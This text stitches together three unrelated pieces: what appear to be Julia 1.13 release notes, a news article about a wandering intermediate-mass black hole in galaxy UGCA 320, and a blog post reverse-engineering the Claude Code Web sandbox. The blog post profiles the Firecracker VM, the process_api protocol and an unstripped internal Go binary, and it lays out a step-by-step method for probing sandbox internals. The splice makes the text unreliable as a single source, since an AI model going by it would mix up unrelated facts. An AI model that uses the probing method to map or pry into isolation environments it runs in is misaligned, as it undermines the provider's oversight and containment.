Latency (TTFX) improvements

Ian Butterworth, many others

Julia 1.13 takes roughly 30% less time to precompile packages than 1.12, and roughly 10-20% less time than 1.10 (LTS) depending on the machine.

Time To First X (TTFX), the time from starting Julia to getting a first result, is made up of three main costs: precompiling packages, loading them, and running the code. With the help of the community-submitted workflows at Julia-TTFX-Snippets, we have started measuring these costs more systematically on real-world examples and optimizing Julia against them.

The chart below shows the geometric mean across all 39 currently submitted workflows, on two machines. Precompilation is the fastest of 2 runs; load and execution times are the fastest of 3 runs.

This monitoring is now also part of Julia's own development process: new TTFX CI jobs run on relevant pull requests and on every commit to master, and the results are tracked at perf.julialang.org/ttfx. That tracking went live on September 7, 2026; measurements before then were ad hoc.

Julia 1.13 startup is also ~20% faster than 1.12.

% hyperfine --warmup 3 --runs 20 -N \
  --command-name "julia 1.12" "julia +1.12 --startup-file=no -e ''" \
  --command-name "julia 1.13" "julia +1.13 --startup-file=no -e ''"
Benchmark 1: julia 1.12
  Time (mean ± σ):      69.1 ms ±   1.0 ms    [User: 50.1 ms, System: 18.1 ms]
  Range (min … max):    68.0 ms …  72.6 ms    20 runs

Benchmark 2: julia 1.13
  Time (mean ± σ):      56.7 ms ±   0.5 ms    [User: 49.1 ms, System: 18.9 ms]
  Range (min … max):    56.0 ms …  58.1 ms    20 runs

Summary
  julia 1.13 ran
    1.22 ± 0.02 times faster than julia 1.12

REPL improvements

Syntax highlighting

Timothy, Kristoffer Carlsson

The Julia REPL now has syntax highlighting (without having to load an external package like OhMyREPL.jl):

By default, the color scheme is quite conservative, but it is easy to customize (see the documentation for the REPL). As an example, here is the same code but using the Monokai color scheme:

New fzf-style history search

Timothy

The history search (entered by default via Ctrl-R) has been redesigned and now works similarly to the command-line fuzzy finder fzf:

Among other things, the new history search has support for:

• Fuzzy searching in the history.
• Showing what REPL mode was used for the command.
• Selecting multiple search results to put into the prompt buffer.
• Syntax highlighting of the code, matching the REPL itself.

Enter the history search and type ? to see the full help.

Bracketed paste on Windows

Bracketed paste allows an application running in a terminal to know when text is being pasted (as opposed to just being typed). This can allow for more efficient and correct processing of the text being pasted. This functionality has been enabled on Linux and macOS for a long time but is now also finally available on Windows. As a concrete example, the videos below show the behavior of pasting a ~500-line function into the Julia REPL before and after enabling bracketed paste on Windows.

Before:

After:

@__FUNCTION__

Miles Cranmer, Jeff Bezanson

Like the existing @__MODULE__ and @__FILE__ macros, the new @__FUNCTION__ macro references the innermost containing function even if that function is anonymous. This should work in all kinds of functions, and is public API, unlike the internal variable #self#.

julia> fact = n -> n <= 1 ? 1 : n * @__FUNCTION__()(n - 1);

julia> fact(5)
120

Hashing changes

Andy Dienes, Jameson Nash

The hash function has been replaced. The byte-hashing algorithm is now RapidhashNano. This hash is used by default for AbstractString and many numeric types like BigInt, Rational, and large Real or Integer values. It is also much easier now for custom types to opt in to the generic implementations without having to first convert to a supported type (like String). This change offers several advantages compared to the pre-existing implementation based on MurmurHash3. It has significantly better performance, is a streaming hash so it no longer requires the length of the input up front, and has moved from C to pure Julia for better readability and maintainability.

To demonstrate the performance improvement on long strings:

using BenchmarkTools, Downloads

io = IOBuffer()
Downloads.download("https://www.gutenberg.org/cache/epub/1080/pg1080.txt", io)
s = String(take!(io));

# 1.12
@btime hash($s)
  8.555 μs (0 allocations: 0 bytes)
0x5fbd2717019846ea

# 1.13
@btime hash($s)
  1.742 μs (0 allocations: 0 bytes)
0x718308e795047519

And a demonstration of opting in to a faster fallback:

struct MyString <: AbstractString
    s::String
end
m = MyString(s);

# 1.12
Base.iterate(m::MyString) = iterate(m.s)
Base.iterate(m::MyString, i::Integer) = iterate(m.s, i)
@btime hash($m)
  204.583 μs (21 allocations: 107.02 KiB)
0x5fbd2717019846ea

# 1.13
Base.codeunit(m::MyString) = codeunit(m.s)
Base.codeunits(m::MyString) = codeunits(m.s)
@btime hash($m)
  1.750 μs (0 allocations: 0 bytes)
0x718308e795047519

The hash for small fixed-width data has also changed. The final mixing step is now a single-round XMX construction with some carefully tuned constants, and the mixing step now properly avalanches when composing hash calls; previously the mixing step always simplified to a linear function at every composition depth. This change to the mixing step does introduce a data dependency (and thus potentially lower performance) when sequentially hashing elements together in a tight loop, e.g. foldr(hash, collection), but the algorithm for hashing AbstractArray has been partially unrolled at small to medium sizes, maintaining several hash accumulators in parallel, and will be much faster at most lengths.

Some important reminders: hash remains noncryptographic. Also, the default seed has changed. Custom hash methods should always accept the seed as an argument like hash(x::MyType, h::UInt) and never provide a default value like hash(x::MyType, h::UInt=0), since the correct seed is determined by the caller.

Faster GC by skipping image objects during marking

Cody Tapscott

Every Julia session starts with a large number of objects that were loaded from the system image, and every package that gets loaded brings its own package image with even more of them: method tables, type information, compiled code, constants and so on. These objects are never freed, and they are rarely mutated, yet until now a full garbage collection would walk through all of them to mark them as reachable, just like any other object on the heap. For a session with a handful of large packages loaded, this could easily be the dominant cost of a full collection.

In Julia 1.13, objects in the sysimage and in package images are loaded as permanently marked and the mark phase never enters them. The few mutations that do happen to image objects (for example, when a method is added to an existing function) are tracked separately so that any new objects they point to are still kept alive. The effect is that the cost of a full collection now scales with the size of the heap that your program actually created, not with the amount of code that has been loaded.

The easiest way to see the difference is to time a full collection in a fresh session:

# 1.12
julia> @time GC.gc()
  0.035493 seconds (99.90% gc time)

# 1.13
julia> @time GC.gc()
  0.000528 seconds (99.08% gc time)

The table below shows the time for a full collection (GC.gc(true)) on an Apple M4 Pro, first in a bare session and then after loading some packages of increasing size. Incremental (young generation) collections are not affected by this change and are equally fast on both versions.

Since full collections are triggered more often for programs with a large live heap, this also shows up as reduced overall GC time in real workloads. The following example inserts random vectors into a Dict that is kept alive across iterations, so that a large fraction of the allocated objects get promoted to the old generation:

function work(n)
    d = Dict{Int,Vector{Float64}}()
    for i in 1:n
        d[i % 50_000] = rand(64)
    end
    return length(d)
end

# 1.12
julia> @time work(5_000_000)
  1.699095 seconds (10.00 M allocations: 2.688 GiB, 79.80% gc time)

# 1.13
julia> @time work(5_000_000)
  0.566276 seconds (10.00 M allocations: 2.688 GiB, 44.32% gc time)

For more details, see the pull request.

Scheduler and interrupt fixes

Kiran Pamnany, Jameson Nash, Ian Butterworth

Idle threads now park in a dedicated scheduler task instead of holding on to the last task they ran, so finished tasks can be garbage collected promptly (#57544). This lands alongside a set of related scheduler fixes, including ones that make interrupts reliable again (#62665):

• Ctrl-C reaches user code again, including scripts blocked in sleep or IO, and Distributed.interrupt works.
• The REPL survives repeated and badly timed Ctrl-C presses.
• @spawn wakes one idle thread in the task's threadpool instead of every thread (#61826). Spawn-heavy code speeds up anywhere from not at all on macOS, to 1.1-1.6x on a 16-core Linux machine, to 10-300x on Windows and heavily oversubscribed machines, where waking every thread had been the dominant cost.
• Several lost-task and deadlock races were fixed.

Work on a proper task cancellation mechanism is in progress and is planned for Julia 1.14.

Introspection with type annotations

The code introspection macros (@which, @code_typed, @code_warntype, etc.) now accept call expressions where arguments are given as types instead of values, using the same ::T syntax as in method definitions and stacktraces. Values and types can be freely mixed, and keyword arguments are supported:

julia> @which push!(::Vector{Int}, 1)
push!(a::Vector{T}, item) where T
     @ Base array.jl:1339

julia> @which sort!(::Vector{Int}; by = ::Function)
kwcall(::NamedTuple, ::typeof(sort!), v::AbstractVector{T}) where T
     @ Base.Sort sort.jl:1734

This means a frame can be copied straight out of a stacktrace and pasted into @which to find the method that was called:

julia> @which Base.Order.lt(o::Base.Order.Lt{typeof(isless)}, a::Int64, b::Int64)
lt(o::Base.Order.Lt, a, b)
     @ Base.Order ordering.jl:121

Broadcasting expressions are also supported in @code_lowered, @code_typed and @code_warntype:

julia> @code_warntype (::Vector{Int}) .+ 1.0

Tracing top-level evaluation with --trace-eval

Ian Butterworth

The new --trace-eval command-line flag shows top-level evaluation progress, to help see how a test suite or script is advancing, e.g. to identify hangs. For instance:

% julia --trace-eval script.jl
eval: #= /Users/me/.julia/config/startup.jl:1 =#
eval: #= /Users/me/.julia/config/startup.jl:2 =#
eval: #= /Users/me/.julia/config/startup.jl:3 =#
eval: #= script.jl:1 =#
eval: #= script.jl:2 =#
Hello world

It is also enabled automatically when the "debug logging" option is turned on for a CI run, as shown here for GitHub Actions:

JuliaC/trim

Cody Tapscott, many others

The juliac.jl script in the Julia repo has been made into a proper package/application: JuliaC.jl.

More code can now be trimmed, such as finalizers, @cfunction and mapreduce.

Several bugs in the trimming process itself were also fixed, improving its reliability.

Pkg

Kristoffer Carlsson

Pkg has received quite a bit of attention for 1.13. Here we list some of the more notable changes and improvements.

Change in default compression algorithm from gzip to zstd

For downloads from a package server (registries, packages and artifacts), Pkg will now by default ask for a zstd-compressed archive instead of a gzipped one. For the type of files Pkg typically downloads, zstd compression tends to have both a better compression ratio and significantly better decompression performance. As an example, downloading the packages and artifacts for the packages Plots, Makie and ModelingToolkit results in the following numbers.

Performance improvements

Some micro-optimizations have been made to the resolver and the registry processing, leading to generally better performance of Pkg operations. Some of these improvements have already been backported to 1.12, so to get a proper performance comparison we compare against 1.12.1, which did not get any of these backports.

To assess the impact on resolver speed, we do the following benchmark: we add Plots to an empty environment, remove it, and then benchmark the time it takes to add Plots again. This ensures that all the files for Plots are already downloaded. In addition, auto-precompilation is turned off and the registry cache is cleared so that it has to be re-read from scratch. This means that the time spent adding Plots to this environment is mostly registry processing and resolving:

julia> ENV["JULIA_PKG_PRECOMPILE_AUTO"] = 0

# 1.12.1
julia> empty!(Pkg.Registry.REGISTRY_CACHE); @time Pkg.add("Plots"; io=devnull)
  1.257017 seconds (8.83 M allocations: 681.328 MiB, 16.31% gc time)

# 1.13.0
julia> empty!(Pkg.Registry.REGISTRY_CACHE); @time Pkg.add("Plots"; io=devnull)
  0.745170 seconds (4.43 M allocations: 304.580 MiB, 26.90% gc time)

In addition, Pkg will now clone repos with more efficient settings, avoiding downloading unnecessary data:

# 1.12.1
julia> @time Pkg.add(name="Plots"; rev="master")
     Cloning git-repo `https://github.com/JuliaPlots/Plots.jl.git`
...
 10.953074 seconds (4.51 M allocations: 330.819 MiB, 1.68% gc time)

# 1.13.0
julia> @time Pkg.add(name="Plots"; rev="master")
     Cloning git-repo `https://github.com/JuliaPlots/Plots.jl.git`
...
  2.980337 seconds (2.87 M allocations: 189.202 MiB, 3.87% gc time)

Registries for packages tracked in the manifest

Previously, to instantiate a manifest you needed to manually make sure that the registries required by that manifest were available. Now, the registry each package came from is recorded in the manifest and is automatically installed upon manifest instantiation (or other package operations).

Recursively collect sources

Pkg now recursively collects [sources] entries from packages fetched by URL, allowing private dependency chains to resolve without requiring all dependencies of a private package to be in a registry.

pkg> add now tries to add the same version as already-loaded packages

Julia has always allowed changing the active project during a session and supports stacked environments (most commonly via the default environment), which introduces a rough edge that can lead to repeated precompilation of packages. For instance, a version of a package is loaded from the default environment during startup.jl, and then the user adds a new package to the active project that pulls in a different version of that dependency. Pkg precompiles the dependency graph of the active project, so the new version gets precompiled even though the already-loaded version would often have satisfied the compat constraints just as well.

In 1.13, Pkg prefers the currently loaded version of any package that is already loaded when resolving pkg> add, if the environment's compatibility constraints allow it, so nothing needs to be precompiled again. As usual, pkg> status will flag that a newer version is available.

Pkg.test no longer defaults to enabling strict bounds checking

Previously, Pkg.test always launched the test process with --check-bounds=yes, which forces bounds checking even inside @inbounds blocks. Since precompile cache files are specific to the bounds-checking mode, this meant that the package being tested and all of its dependencies typically had to be recompiled before the tests could even start, and those cache files were then useless for normal development. Pkg.test now leaves the bounds-checking mode alone, so the test process inherits it from the parent Julia session and can reuse the precompile files generated during development. To get the old behavior, either start Julia with --check-bounds=yes before running Pkg.test, or pass the flag explicitly with Pkg.test(; julia_args=["--check-bounds=yes"]).

Juliaup GUI

Ian Butterworth

Juliaup, the Julia version manager, now has a graphical interface alongside its command line. It ships with Juliaup 1.22 and later on every platform Juliaup supports, so after a juliaup self update it can be opened with:

juliaup gui

The Installed tab shows each installed channel as a tile or a list row. From there a channel can be launched, launched with a custom project, arguments and environment variables, set as the default, or removed, and there are one-click actions to update everything and to garbage collect versions no channel uses any more.

The Available tab lists everything in the channel database, including release, lts, rc, nightly and pr{number} channels for testing pull requests, with an install button for each. It can also link an existing Julia binary to a custom channel name. The Configuration tab exposes Juliaup's settings, such as the version database update interval and automatic self-updates.

The Juliaup GUI's Available tab, listing channels that can be installed

Schematic illustration of Bondi–Hoyle–Lyttleton accretion onto a wandering intermediate-mass black hole. In the rest frame of the intermediate-mass black hole (IMBH), the ambient gas flows from the upstream region (blue, left) towards the downstream region (orange, right), as indicated by the solid streamlines. The captured gas circulates around the black hole before eventually being accreted (white dashed curve), and partially covers the central emitting region along the observer's line of sight (gray dashed line). Credit: arXiv (2026). DOI: 10.48550/arxiv.2608.10719

Astronomers have found the first direct evidence that a wandering black hole can feed itself by dragging gas along in its wake as it moves through its galaxy. It's the first direct evidence of an accretion channel long predicted in theory but never before observed. The paper describing this discovery was posted to the arXiv preprint server on Aug. 11.

Mid-sized black holes

The black hole investigated in this study, led by Xin Li of Westlake University in China, is located in UGCA 320—an edge-on dwarf irregular galaxy about 20 million light-years away. A Hubble Space Telescope image showed that this object sat outside the galaxy's main star-forming disk. MUSE observations from 2021 revealed broad Balmer emission, a signature of an accreting massive black hole. The broad Balmer emission-line component revealed the black hole's mass to be around 35,000 times the sun's mass. Multiple independent observations support its identification as an accreting intermediate-mass black hole.

The traits of this "wandering" black hole checked out. Intermediate-mass black holes have masses ranging from 100 to 100,000 times the sun's mass. They are thought to be the seeds of the supermassive black holes found at galaxy centers. Some are expected to end up drifting far from the gas-rich centers that normally feed them.

Unlike black holes at galactic centers, wandering black holes have limited access to mechanisms that can funnel gas toward them, such as galaxy mergers, tidal interactions, cloud collisions and gas cooling. Therefore, how these intermediate-mass black holes end up growing into supermassive ones, reaching masses ranging from millions to billions of times the sun's mass, remains a mystery.

Pan-STARRS false-color image of UGCA 320, with the MUSE field of view (FOV) outlined in red. The white arrow indicates the direction of the paired galaxy UGCA 319, while the yellow arrow marks the position of the discovered wandering intermediate-mass black hole (IMBH), UGCA320-IMBH. b, HST false-color image of UGCA 320, centered on the MUSE FOV and overlaid with the WiFeS (tomato) and X-Shooter (magenta) FOVs. Credit: arXiv (2026). DOI: 10.48550/arxiv.2608.10719

A trailing 'wake'

There is a proposed mechanism that predicts how they may grow. "One plausible accretion channel for a wandering black hole is through the gravitational wake it generates while moving through the interstellar medium, known as Bondi–Hoyle–Lyttleton accretion (BHL)," the team writes in the paper.

This scenario suggests that as the wandering black hole plows through the gas that fills its host galaxy, its gravity pulls nearby gas particles toward it. Gas gravitationally pulled toward the black hole from multiple directions converges and piles up into a denser trailing stream—this trailing, denser region is the "wake." In this scenario, the black hole can feed from the captured gas.

This "gravitational focusing" also creates a bow shock in front of the black hole. The surrounding gas is expected to develop a lopsided flow structure consisting of multiple gas components.

The team went on to investigate whether this is the case for UGCA 320's wandering black hole using spectroscopic observations. Their analysis revealed all three components predicted by the theory: low-density gas ahead of it, denser gas trailing behind and dense clumps tracing the accretion flow.

The team found another clue in the black hole's changing appearance over time. Spectroscopic observations showed that the broad hydrogen emission lines, which were prominent in 2021, had almost disappeared by June 2025. They partially reappeared in July 2025 and faded again by April 2026. They suggest that dense clumps of gas embedded within the black hole's accretion flow may have periodically moved into our line of sight, obscuring the region where these emissions originate.

"Our discovery provides the observational evidence that wandering intermediate-mass black holes can actively accrete through gravitational wakes," the team concludes. They say that this newfound "mobile" accretion pathway may be an important clue to how they grow before they eventually sink into the centers of galaxies, transforming into supermassive black holes.

What's inside Claude Code Web: an unstripped Go binary, Anthropic's secret deployment platform, and the architecture of an AI-native PaaS

---

The Starting Point

We are building ArcBox, a full-stack platform from Desktop to Platform, similar to Railway and E2B in positioning. Our core philosophy is local-cloud consistency: replacing OrbStack with a fully open-source ArcBox Desktop that provides Sandbox capabilities locally. Recently, we noticed more and more Coding Agent platforms launching web-based entry points, and remarkably, nearly all of them chose Firecracker under the hood. Claude Code is no exception. As practitioners in the same space, curiosity about its runtime environment led to some digging. What began as a casual strace -p 1 turned into a full reverse-engineering session that uncovered unreleased Anthropic infrastructure, including an entirely undocumented application hosting platform.

Everything described here was discovered through standard Linux tooling (strace, strings, objdump, go tool objdump) running inside a Claude Code session. No exploits, no privilege escalation, no network attacks. The binary was sitting right there, unstripped, with full debug symbols.

---

Layer 1: It's a Firecracker MicroVM

The first question: what exactly is this environment?

$ dmesg | grep FIRECK
ACPI: RSDP 0x00000000000E0000 000024 (v02 FIRECK)
ACPI: XSDT ... (v01 FIRECK FCMVXSDT ... FCAT 20240119)
ACPI: FACP ... (v06 FIRECK FCVMFADT ... FCAT 20240119)
ACPI: DSDT ... (v02 FIRECK FCVMDSDT ... FCAT 20240119)

The ACPI tables are signed with OEM ID FIRECK and creator ID FCAT, both hardcoded in Firecracker's source code. This is the same MicroVM technology that powers AWS Lambda and Fargate.

The specs: 4 vCPUs (Intel Xeon Cascade Lake @ 2.80GHz), 16GB RAM, 252GB disk, Linux 6.18.5. No nested virtualization since Firecracker intentionally strips vmx/svm flags from guests.

The process tree is absurdly minimal:

PID 1: /process_api --firecracker-init --addr 0.0.0.0:2024 ...
  └─ PID 517: /usr/local/bin/environment-manager task-run --session cse_...
       └─ PID 532: claude (the CLI itself)

No systemd. No sshd. No cron. No logging daemon. PID 1 is a custom binary that acts as both init and a WebSocket API gateway. The kernel command line confirms it:

rdinit=/process_api init_on_free=1 -- --firecracker-init
reboot=k panic=1 nomodule

strace on PID 1 shows it running an epoll event loop, periodically checking /proc/*/children and /proc/*/status to monitor child processes. Essentially a minimal init supervisor, listening on port 2024 (WebSocket API) and port 2025 (secondary endpoint).

---

The Snapshot Architecture

Sessions don't boot from scratch — they're restored from frozen VM snapshots. The dmesg output reveals a 48.5-hour gap between template creation and session restore:

[  30.731516] Run /process_api as init process    ← Template: 2026-03-16 13:53 UTC
    ~~~ 48.5 HOUR GAP — VM WAS FROZEN AS SNAPSHOT ~~~
[174695.927758] virtio_blk: [vdc] new size: ...   ← Restored: 2026-03-18 14:24 UTC
[174695.953952] random: crng reseeded due to virtual machine fork
[174695.980760] tokio-runtime-w: drop_caches: 3
[174695.993628] EXT4-fs (vda): mounted filesystem r/w without journal

During restore, the Firecracker host hot-swaps block devices:

Device	Template	After Restore	Content
vda	placeholder	256 GiB ext4	Session rootfs (Ubuntu 24.04)
vdb	placeholder	63.7 MB squashfs	/opt/claude-code
vdc	placeholder	12.1 MB squashfs	/opt/env-runner

The initramfs is deliberately minimal: a 3.1MB cpio archive containing only /process_api. The actual Ubuntu rootfs is on the ext4 block device (vda), injected at restore time. The ext4 has mount count=11, indicating the image has been reused across 11 sessions.

Snapstart: The Deferred Mount Pattern

Template creation phase:

1. Firecracker boots: kernel + 3.1MB initramfs
2. process_api performs minimal init: mount /proc, /sys, /dev, cgroups; configure networking (IP=192.0.2.2/24, GW=192.0.2.1, MTU=1400)
3. Signals SNAPSTART_READY to the host
4. Host calls PUT /snapshot/create → saves entire VM state

Session restore phase:

1. Host prepares session-specific block devices (vda/vdb/vdc)

2. Host calls PUT /snapshot/load with new device backends

3. VM resumes — kernel detects device changes, reseeds CRNG

4. process_api detects restore and runs:

   • Drop page caches — stale template cache would return garbage
   • Remount devtmpfs — refresh device nodes
   • Mount ext4 → pivot_root to new rootfs
   • Mount squashfs overlays (claude-code, env-runner)
   • Fix wall clock via clock_settime() — otherwise stuck at template epoch
   • Drop CAP_SYS_RESOURCE — security hardening
   • Accept connections — WebSocket server ready

Security Measures

Measure	Purpose
init_on_free=1	Zero freed pages between sessions
CAP_SYS_RESOURCE drop	Limit PID 1's capabilities post-init
CRNG reseed	Prevent crypto predictability across snapshot forks
--block-local-connections	Block localhost WebSocket access
JWT auth	WebSocket connection verification
Token scrubbing	Remove secrets from configs after use

---

process_api: The Wire Protocol

PID 1 exposes two network interfaces — a WebSocket API for process management and an HTTP API for container control. Unlike typical init systems, process_api is a Rust/tokio binary that implements a full remote process supervisor.

WebSocket API (port 2024)

Connection handshake: optional JWT → ProcessConnection JSON → process creation or reattach.

Process creation accepts a CreateProcess struct:

{
  "cmd": "/bin/bash",
  "args": ["-l"],
  "env": {"KEY": "VALUE"},
  "cwd": "/home/user",
  "rows": 24, "cols": 80,
  "timeout": 300,
  "memory_limit_bytes": 1073741824,
  "uid": 1000, "gid": 1000,
  "allow_process_id_reuse": false
}

I/O uses a two-phase binary protocol:

• Stdin: ExpectStdIn (text) → binary frame
• Stdout/Stderr: ExpectStdOut/ExpectStdErr (text) → binary frame → StdOutEOF/StdErrEOF

Client                              Server
  |--- WS Connect ------------------->|
  |--- JWT (optional) --------------->|
  |--- ProcessConnection JSON ------->|
  |<-- ProcessCreated ----------------|
  |                                    |
  |<-- ExpectStdOut ------------------|
  |<-- [binary: stdout data] ---------|
  |--- ExpectStdIn ------------------>|
  |--- [binary: stdin data] --------->|
  |                                    |
  |--- SendSignal ------------------->|  SIGTERM, etc.
  |--- Resize ----------------------->|  PTY resize
  |--- Detach ----------------------->|  process keeps running
  |--- KeepAlive -------------------->|  heartbeat
  |                                    |
  |<-- ProcessExited -----------------|
  |<-- StdOutEOF --------------------|

Process termination reasons include: normal exit, signal, per-process OOM, container-level OOM, timeout, and server shutdown.

Internally, process_api tracks per-process cgroups (v1 at /sys/fs/cgroup/memory/process_api/, v2 at /sys/fs/cgroup/process_api/), implements orphan adoption (reparenting to PID 1), and runs a configurable OOM polling loop.

HTTP Control API (port 2025)

Six endpoints manage container lifecycle:

Endpoint	Purpose
GET /status	Health check
POST /fs_sync	Flush filesystem buffers
POST /shutdown	Graceful shutdown with page cache drop
POST /auth_public_key	Set JWT verification key
POST /mount_root	Mount rootfs (snapstart restore)
POST /container_name	Set container identity

The /mount_root endpoint accepts a MountRootConfig with network config (etc_hosts, resolv_conf), CA certs, squashfs mounts, FUSE mounts (with VFS cache config), and the wall clock timestamp — everything needed to initialize a session from a blank snapshot. During mount, root is frozen via FIFREEZE/FITHAW ioctls.

---

Layer 2: The Unstripped Go Binary

The real discovery was /usr/local/bin/environment-runner (symlinked as environment-manager):

$ file /usr/local/bin/environment-runner
ELF 64-bit LSB executable, x86-64, dynamically linked,
Go BuildID=..., with debug_info, not stripped

$ go version -m /usr/local/bin/environment-runner
go1.25.7
path    github.com/anthropics/anthropic/api-go/environment-manager
mod     github.com/anthropics/anthropic/api-go  (devel)
build   -ldflags=-X main.Version=staging-68f0dff496

A 27MB Go binary. Not stripped. Full debug info. Full symbol table. Built from Anthropic's private monorepo at github.com/anthropics/anthropic/api-go/environment-manager/.

Using go tool objdump and strings, the complete internal package structure can be extracted:

internal/
├── api/                  # API client (session ingress, work polling, retry)
├── auth/                 # GitHub app token provider
├── claude/               # Claude Code install, upgrade, execution
├── config/               # Session modes (new/resume/resume-cached/setup-only)
├── envtype/
│   ├── anthropic/        # Anthropic-hosted environment
│   └── byoc/             # Bring Your Own Cloud environment
├── gitproxy/             # Git credential proxy server
├── input/                # Stdin parser + secret handling
├── manager/              # Session manager, MCP config, skill extraction
├── mcp/
│   └── servers/
│       ├── codesign/     # Code signing MCP server
│       └── supabase/     # Supabase integration MCP server
├── orchestrator/         # Poll loop, hooks, whoami
├── podmonitor/           # Kubernetes lease manager
├── process/              # Process exec + script runner
├── sandbox/              # Sandbox runtime config
├── session/              # Activity recorder
├── sources/              # Git clone + source classification
├── tunnel/               # WebSocket tunnel + action handlers
│   └── actions/
│       ├── deploy/       # ← THIS IS WHERE IT GETS INTERESTING
│       ├── snapshot/     # File snapshots
│       └── status/       # Status reporting
└── util/                 # Git helpers, retry, stream tailer

Key dependencies extracted from the binary:

Dependency	Purpose
github.com/anthropics/anthropic/api-go	Internal Anthropic Go SDK
github.com/gorilla/websocket	WebSocket tunnel to API
github.com/mark3labs/mcp-go v0.37.0	Model Context Protocol
github.com/DataDog/datadog-go v5	Metrics reporting
go.opentelemetry.io/otel v1.39.0	Distributed tracing
google.golang.org/grpc v1.79.0	gRPC (session routing)
github.com/spf13/cobra	CLI framework

---

Layer 3: Antspace, Anthropic's Hidden PaaS

Inside the tunnel/actions/deploy/ package, there are function symbols for two deployment clients:

VercelClient, the expected one:

• CreateDeployment → POST /v13/deployments
• UploadFile → PUT /v2/files with x-vercel-digest header
• WaitForReady → Poll until readyState == "READY"

And then, AntspaceClient, the unexpected one:

deploy.(*AntspaceClient).Deploy
deploy.(*AntspaceClient).createDeployment
deploy.(*AntspaceClient).uploadTarball
deploy.(*AntspaceClient).streamStatus

Extracting the associated strings from the binary revealed a complete deployment protocol:

Phase 1: Create Deployment

POST to antspaceControlPlaneURL
Content-Type: application/json
Authorization: Bearer {antspaceAuthToken}
Body: { app name, metadata }

Phase 2: Upload Build Artifact

POST multipart/form-data
File: dist.tar.gz (the built application)
Size limit enforced: "project exceeds %dMB limit"

Phase 3: Stream Deployment Status

Response: application/x-ndjson (streaming)
Status progression: packaging → uploading → building → deploying → deployed
Error: "Streaming unsupported" if client can't handle NDJSON

A search for "Antspace" across the entire public internet turned up nothing: Anthropic's website, GitHub, blog, documentation, LinkedIn, job postings, conference talks, patent filings. Zero results. This platform has never been publicly mentioned anywhere.

The name likely derives from "Ant" (reportedly an internal nickname for Anthropic employees) + "Space" (hosting space), following the same naming pattern as platforms like Heroku or Vercel.

Antspace vs. Vercel: Architectural Differences

Aspect	Vercel	Antspace
File upload	SHA-based dedup, per-file	Single tar.gz archive
Build	Remote (Vercel builds it)	Local npm run build, upload output
Status	Polling-based	Streaming NDJSON
Auth	Vercel API token + Team ID	Bearer token + dynamic control plane URL
Public API	Yes, documented	No, completely internal

The fact that Anthropic built a full deployment protocol from scratch, rather than just wrapping Vercel's API, signals this is a strategic platform investment, not a quick integration.

---

Layer 4: Baku, The Web App Builder

"Baku" is the internal codename for the web app builder experience on claude.ai. When you ask Claude on the web to build you a web application, it launches a Baku environment.

From the embedded resources extracted from the binary:

Project Template:

• Source: /opt/baku-templates/vite-template
• Stack: Vite + React + TypeScript
• Auto-managed dev server via supervisord, logs to /tmp/vite-dev.log

Supabase Auto-Provisioning:

Six MCP tools are automatically available:

1. provision_database: create a Supabase project on demand
2. execute_query: run SQL queries
3. apply_migration: versioned schema changes with auto type generation
4. list_migrations: list applied migrations
5. generate_types: regenerate TypeScript types from DB schema
6. deploy_function: deploy Supabase Edge Functions

Environment variables auto-written to .env.local:

SUPABASE_URL, SUPABASE_ANON_KEY,
VITE_SUPABASE_URL, VITE_SUPABASE_ANON_KEY

Stop Hooks (embedded shell scripts):

The Baku environment has a pre-stop hook that prevents the session from ending if:

• There are uncommitted or unpushed git changes
• The Vite dev server log contains errors
• tsc --noEmit reports TypeScript type errors

Default Deploy Target: Antspace, not Vercel. Vercel exists as an alternative, but Baku's native deployment path goes through Anthropic's own platform.

Internal Organization:

• Drafts stored in .baku/drafts/
• Explorations in .baku/explorations/
• Git commits use [email protected] as the author
• No git remote configured (local-only version control)

---

Layer 5: BYOC (Bring Your Own Cloud)

The envtype/ package contains two environment implementations:

1. anthropic : Anthropic-hosted (Firecracker MicroVMs)
2. byoc : Bring Your Own Cloud

BYOC allows enterprise customers to run environment-runner in their own infrastructure while sessions are orchestrated by Anthropic's API. Key characteristics:

• Default session mode: resume-cached (fastest restarts, reuses existing state)
• Custom auth: containProvideAuthRoundTripper injects container-level credentials
• Smart git handling: checks if task branch exists on remote before fetch
• Sub-types: antspace (Anthropic internal) and baku (Vite project builder)
• Kubernetes integration: podmonitor package implements lease management

The BYOC API surface includes 7 endpoints:

Endpoint	Purpose
/v1/environments/whoami	Identity discovery
Work polling + ack	Job queue
Session context	Configuration retrieval
Code signing	Binary verification
Worker WebSocket	Real-time tunnel
Supabase DB query proxy	Database access relay

---

The Strategic Picture

What we're looking at is a vertically integrated AI application platform:

User describes what they want (natural language)
    ↓
Claude generates the application (Baku environment)
    ↓
Supabase database auto-provisioned (MCP tools)
    ↓
Application deployed to Antspace (Anthropic's PaaS)
    ↓
Live application, user never left Anthropic's ecosystem

This is not just an AI coding assistant. It's the architecture of an AI-native PaaS where the user's journey from idea to production happens entirely within Anthropic's infrastructure.

The competitive implications are significant. This positions Anthropic against:

• Vercel / Netlify in hosting and deployment
• Replit / Lovable / Bolt in AI app generation
• Supabase / Firebase in managed backend (via tight integration)

But with one structural advantage none of these competitors have: Anthropic owns the entire stack, from the LLM that understands your intent, to the runtime that builds your code, to the platform that hosts your application.

---

Methodology

All findings were obtained through standard Linux tools running inside my own Claude Code session. Here's the step-by-step approach:

Step 1 — Identify the hypervisor. dmesg | grep FIRECK — ACPI tables carry the OEM ID, immediately fingerprinting Firecracker.

Step 2 — Identify PID 1. cat /proc/1/cmdline — reveals /process_api as a custom init, not systemd. The --firecracker-init flag confirms it.

Step 3 — Extract Go build metadata. go version -m on the environment-runner binary yields the Go version, module path (github.com/anthropics/anthropic/api-go), (devel) monorepo marker, and full dependency list.

Step 4 — Recover package structure from symbols. Because the binary is not stripped, objdump -t gives fully qualified function names. Filtering for environment-manager/internal/ and extracting unique paths produces the complete architecture tree.

Step 5 — Targeted string extraction. Naive strings | grep on Go binaries is noisy (the linker concatenates all string literals). Two better approaches:

• Known-pattern search: scan for specific byte sequences (dist.tar.gz, application/x-ndjson, etc.)
• Struct tag extraction: Go embeds struct field tags as string literals. Searching for json:"status" patterns reveals wire protocol formats

Step 6 — Symbol-table-driven feature mapping. objdump -t binary | grep 'deploy\.' yields method inventories per component — this is how both Vercel and Antspace clients were discovered with full method signatures.

Step 7 — Runtime observation. strace -p 1 -e trace=epoll_pwait,read,write -f confirms the epoll event loop, child process monitoring, and WebSocket communication patterns.

Technique	What it reveals
dmesg ACPI OEM ID	Hypervisor identity
go version -m	Toolchain, dependencies, monorepo structure
Symbol table (objdump -t)	Package layout, type names, method signatures
Struct tag strings	Wire protocol / JSON formats
